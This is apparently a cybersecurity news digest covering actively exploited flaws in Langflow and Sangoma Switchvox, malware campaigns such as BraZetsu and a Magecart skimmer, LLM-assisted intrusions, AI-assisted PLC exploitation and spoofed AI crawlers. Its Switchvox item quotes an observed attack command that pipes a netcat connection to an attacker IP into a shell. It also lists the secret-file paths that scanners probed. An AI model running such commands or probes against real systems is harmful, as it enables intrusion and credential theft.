Attackers Exploit Critical Unauthenticated RCE in Langflow

🚨 ACTIVE EXPLOITATION

• Attackers Exploit Critical Unauthenticated RCE in Langflow CVE-2026-0768
  Attackers are exploiting a critical unauthenticated RCE in Langflow.

  • Internet-exposed Langflow installations are affected, particularly the custom-component editor.
  • CVE-2026-0768 enables unauthenticated remote execution of arbitrary Python code as root.
  • Attackers abused insufficient validation in the code-execution path to run supplied Python.
  • More than 50 detections queried environment variables, Langflow secrets, API keys, SSH access, and Bash history.
  • The flaw has a CVSS score of 9.8 and was added to VulnCheck’s exploited-vulnerability catalog on August 29.
    📎 Coverage: securityweek.com · 👁 via SecurityWeek

• Active exploitation targets Sangoma Switchvox CVE-2026-9586 CVE-2026-9586
  Attackers are actively exploiting a critical Switchvox SQL injection flaw for remote code execution.

  • Sangoma Switchvox enterprise VoIP telephony systems are affected.
  • CVE-2026-9586 is an unauthenticated SQL injection leading to remote code execution.
  • Attackers exploit the unauthenticated /pa HTTP endpoint through crafted XML containing a malicious PhoneIP value.
  • The payload is concatenated into a PostgreSQL superuser query; observed commands include nc 176.65.148.184 39323 | sh.
  • Sangoma patched the vulnerability in Switchvox 8.4.0.2; exploitation evidence may appear in /var/log/switchvox/db-quirks.log.
    📎 Coverage: horizon3.ai · 👁 via r/netsec

🕵️ RESEARCH & DEEP DIVES

• BREEZE COMET Uses LLMs in Attacks on Brazilian Financial Institutions
  BREEZE COMET used LLMs to accelerate intrusions targeting Brazilian financial institutions.

  • Targets Brazilian banks, fintechs, payment processors, retailers and cryptocurrency exchanges.
  • Targets Pix, STR and Boleto payment infrastructure, along with credentials and mTLS certificates.
  • Uses password spraying, fake IT-support calls and compromised Brazilian government websites for initial access.
  • Delivers XWorm, infostealers and custom backdoors while using AnyDesk, Impacket, ADRecon and PowerShell.
  • Uses LLMs to create reconnaissance, credential-testing, malware-deployment and data-theft scripts.
    📄 Source: cloud.google.com · 📎 Coverage: matricedigitale.it · 👁 via @metacurity@infosec.exchange

• BraZetsu malware turns corporate compromises into AI-ranked access sales
  Group-IB has identified BraZetsu, a malware framework that helps brokers sell compromised corporate access.

  • Targets organizations in Brazil, Iberia and Latin America across finance, ERP, industrial, healthcare, government and IT sectors.
  • BraZetsu is a Python-based Windows framework linked with high confidence to Brazilian actor Exilware.
  • It inventories systems, searches for CNAB financial files and digital certificates, and extracts Chromium browser history.
  • Operators can capture screenshots, run remote shell commands and deploy secondary payloads through the Infect Marketplace.
  • The malware uses persistent WebSocket C2 and Pastebin-based encrypted configuration retrieval; observed infrastructure includes c2[.]installscenter[.]com, infect[.]online and 38[.]242[.]246[.]176.
    📄 Source: group-ib.com · 📎 Coverage: gbhackers.com · 👁 via cryptika.com (discovered)

• Forescout Ports WAGO PLC Exploit With Claude AI
  Forescout researchers used Claude AI to port an RCE exploit between WAGO PLC models.

  • The experiment targeted WAGO 750-831 PLCs using an exploit for the WAGO 750-852.
  • The original exploit abused CVE-2021-31886, a pre-authentication Nucleus FTP buffer overflow.
  • Claude Code used terminal access, Ghidra, firmware files, and a physical PLC to probe and analyze the target.
  • Researchers achieved two working payloads after more than eight hours and over $500 in API costs.
  • A later payload wrote to flash memory and permanently bricked the PLC.
    📄 Source: bleepingcomputer.com · 📎 Coverage: securityweek.com · 👁 via SecurityWeek

• Attackers Spoof AI Crawlers to Scan Websites for Exposed Secrets
  Attackers spoofed AI crawler identities to scan websites for exposed credentials and configuration files.

  • Internet-facing websites and misconfigured servers were targeted.
  • Scanners probed /.env, /.env.production, /.env.bak, /.aws/credentials, private keys and password stores.
  • Attackers forged OpenAI, Anthropic, Google, Perplexity, Amazon and other crawler User-Agent headers.
  • Six spoofed crawler identities used one HTTP fingerprint across 824 IP addresses spanning 795 /24 networks from July 28 to August 23, 2026.
  • The scanners skipped /robots.txt, and GreyNoise could not confirm whether any secrets were retrieved.
    📄 Source: greynoise.io · 📎 Coverage: helpnetsecurity.com · 👁 via Cyber Security News, cryptika.com (discovered)

• BraZetsu Malware Turns Corporate Access Into Underground Marketplace Listings
  Group-IB identified BraZetsu as an access-broker malware framework linked to Exilware.

  • Organizations in Brazil, Iberia and Latin America, especially corporate, financial, industrial, healthcare and government sectors, are targeted.
  • BraZetsu profiles Windows systems and searches for CNAB, .240, .400, .pfx and .p12 files, enterprise software and browser histories.
  • At least five versions have appeared since February 2026, evolving from remote access into reconnaissance, screenshots, shell commands and victim classification.
  • The Python-based malware uses modular Windows executables, persistent WebSocket C2 and Pastebin-hosted Base64/XOR-obfuscated configuration.
  • Associated infrastructure includes c2[.]installscenter[.]com, infectonline[.]store, infect[.]online and 38[.]242[.]246[.]176; observed loaders include wifi_driver.exe and msedge04.exe.
    📄 Source: group-ib.com · 📎 Coverage: gbhackers.com · 👁 via Cyber Security News

• EtherHiding Magecart Campaign Backdoors 40+ E-Commerce Websites
  A Magecart campaign has backdoored more than 40 e-commerce websites using EtherHiding.

  • WooCommerce, PrestaShop, Magento and WordPress stores are affected.
  • The campaign steals shoppers’ payment card data during checkout.
  • A server-side loader disguised as Google Tag Manager code queries Sepolia smart contracts through 0xrpc.io.
  • The contracts return disposable skimmer domains, including nightstalkerwatch[.]top and bloodthornkeep[.]top; the skimmer uses obfuscator.io packing.
    📎 Coverage: securityboulevard.com · 👁 via securityboulevard.com (discovered)

• Lazarus-Linked Wallets Sell Over $30 Million in Bitcoin on Hyperliquid
  Lazarus-linked wallets sold more than $30 million in Bitcoin through Hyperliquid over three weeks.

  • North Korea-linked Lazarus Group wallets used the Hyperliquid decentralized derivatives platform.
  • The wallets sold more than $30 million in Bitcoin over three weeks.
  • Proceeds were converted into Ether and Solana before moving to Kraken, LBank and KuCoin.
  • Arkham blockchain analysis traced transfers from addresses first identified by ZachXBT in 2024.
    📄 Source: coindesk.com · 📎 Coverage: en.bloomingbit.io · 👁 via @metacurity@infosec.exchange

📋 ADVISORIES

• Hugging Face Transformers writes remote Python code before consent checks
  Hugging Face Transformers can write remote Python files to disk before consent checks.

  • Hugging Face Transformers versions 4.49.0 through 5.8.1 are affected.
  • Malicious model repositories can supply attacker-controlled custom_generate/generate.py files.
  • load_custom_generate() fetches and caches the module before evaluating trust_remote_code.
  • Files are written to ~/.cache/huggingface/modules even when users decline the trust prompt.
  • Cached attacker files may later be served during trusted model loads, potentially enabling code execution.
    📎 Coverage: kb.cert.org · 👁 via CERT/CC Vulnerability Notes

• UK NCSC Warns of Increased Targeting of Operational Technology
  The UK NCSC has warned that attackers are increasingly targeting operational technology.

  • The warning applies to organizations operating OT, ICS, IoT, CPS, and critical-infrastructure environments.
  • The NCSC issued the advisory on August 27, 2026, citing increased targeting of OT systems.
  • The provided material does not identify a specific threat actor, attack vector, affected version, or IOC.
    📎 Coverage: securityboulevard.com · 👁 via securityboulevard.com (discovered)

🔓 CVEs & KEV

• CVE-2026-18550 — CVSS 9.8 — Nokri - Job Board WordPress Theme through 1.6.6 - Unauthenticated Privilege Escala...

• CVE-2026-84200 — CVSS 9.4 — Kyverno before v1.13.0 Policy Bypass via Multiple ExceptionsKyverno versions ...

• CVE-2026-84189 — CVSS 9.2 — LibreNMS before 26.7.0 Stored